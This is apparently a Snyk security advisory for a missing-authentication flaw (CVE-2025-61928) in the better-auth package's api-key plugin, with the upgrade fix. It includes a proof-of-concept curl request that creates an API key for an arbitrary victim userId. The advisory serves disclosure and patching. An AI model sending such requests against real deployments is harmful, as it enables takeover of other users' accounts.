Missing Authentication for Critical Function Affecting better-auth package, versions >=1.2.0-beta.18 <1.3.26


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.1% (30th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Missing Authentication for Critical Function vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-BETTERAUTH-13537497
  • published13 Oct 2025
  • disclosed9 Oct 2025
  • creditetiennelunetta

Introduced: 9 Oct 2025

NewCVE-2025-61928  (opens in a new tab)
CWE-306  (opens in a new tab)

How to fix?

Upgrade better-auth to version 1.3.26 or higher.

Overview

better-auth is a The most comprehensive authentication library for TypeScript.

Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the api-key plugin's create endpoints. An attacker can gain unauthorized access to any user's account by crafting a request with a chosen userId in the request body, allowing the creation or modification of API keys for arbitrary users.

PoC

curl -X POST http://localhost:3000/api/auth/api-key/create \
   -H 'Content-Type: application/json' \
   -d '{
         "userId": "victim-user-id",
         "name": "zeropath"
       }'

References

CVSS Base Scores

version 4.0
version 3.1